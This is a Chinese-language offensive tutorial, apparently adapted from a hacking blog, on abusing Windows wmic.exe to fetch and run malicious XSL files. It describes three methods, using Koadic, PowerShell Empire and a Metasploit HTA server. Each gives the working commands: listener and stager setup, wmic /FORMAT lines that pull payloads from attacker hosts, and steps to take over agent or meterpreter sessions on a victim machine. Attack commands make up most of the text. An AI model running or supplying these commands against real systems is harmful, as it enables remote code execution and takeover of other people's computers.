一、Wmic.exe
wmic實用程序是一款Microsoft工具,它提供一個wmi命令行界面,用於本地和遠程計算機的各種管理功能,以及wmic查詢,例如系統設置、停止進程和本地或遠程運行腳本。因此,它可以調用XSL腳本來執行。
二、攻擊方法
1.第一種方法:Koadic
我們將在Koadic的幫助下生成一個惡意的XSL文件,它是一個命令和控制工具,與Metasploit和PowerShell empire非常相似。
要了解Koadic的工作原理,請閱讀我們的文章:https://www.hackingarticles.in/koadic-com-command-control-framework/
安裝完成后,您可以運行./koadic文件來啟動koadic,並通過運行以下命令開始加載stager/js/wmic,並設置SRVHOST。
use stager/js/wmic set SRVHOST 192.168.1.107 run
執行WMIC以下命令從遠程服務器下載並運行惡意XSL文件:
wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"
一旦惡意XSL文件在目標機器上執行,您就會像Metasploit一樣擁有Zombie連接。
2.第二種方法:PowerShell Empire
對於我們的下一個wmic 攻擊方法,我們將使用empire。empire是一款后開發框架。到目前為止,我們已經將XSL標記與metasploit匹配,但在這種方法中,我們將使用Empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用。Empire由@ harmj0y,@ sixdub,@ enigma0x3,rvrsh3ll,@ killswitch_gui和@xorrior開發。您可以從https://github.com/empireproject/empire 下載此框架 。
要獲得empire的基本指南,請訪問我們的文章介紹,如下地址:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
啟動Empire框架后,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。因此,需要設置一個監聽器,請輸入以下命令:
listeners uselistner http set Host http://192.168.1.107 execute
使用上述命令,您將擁有一個活動的偵聽器。輸入back以退出偵聽器,以便您可以啟動PowerShell。
對於wmic攻擊,我們將使用stager。empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:
usestager windows/launcher_xsl set Listener http execute
usestager將創建一個惡意代碼文件,該文件將保存在名為launcher.xsl的/tmp中
我們使用python HTTP服務器在受害者的主機內傳輸此文件
一旦文件被執行,我們將在偵聽器上獲得結果。通過輸入以下命令在受害者的主機中運行該文件:
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
要查看是否有會話信息,請輸入“agents”。這樣將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:
interact Z639YHPA
sysinfo
3.第三種方法:XSL代碼中鏈接hta
我們知道,wmic可以遠程執行任何文件或腳本,因此我們將在XSL代碼中鏈接一個hta文件。XSL文件將包含一個鏈接,用於通過mshta.exe下載並執行惡意hta文件,該文件由wmic觸發。
因此,讓我們在Metasploit的幫助下生成一個hta文件:
use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
現在復制URL並放在XSL代碼中,因為它能夠執行Microsoft語言腳本
然后,我們創建了一個“payload.xsl”文件,您可以從此鏈接獲取幫助以編寫XSL代碼,然后放置hta文件的鏈接,如下所示。
現在我們需要借助以下命令通過wmic.exe來執行XSL文件:
wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"
執行上述命令后,您將獲得一個meterprter會話。要訪問會話,請輸入以下命令:
sessions 1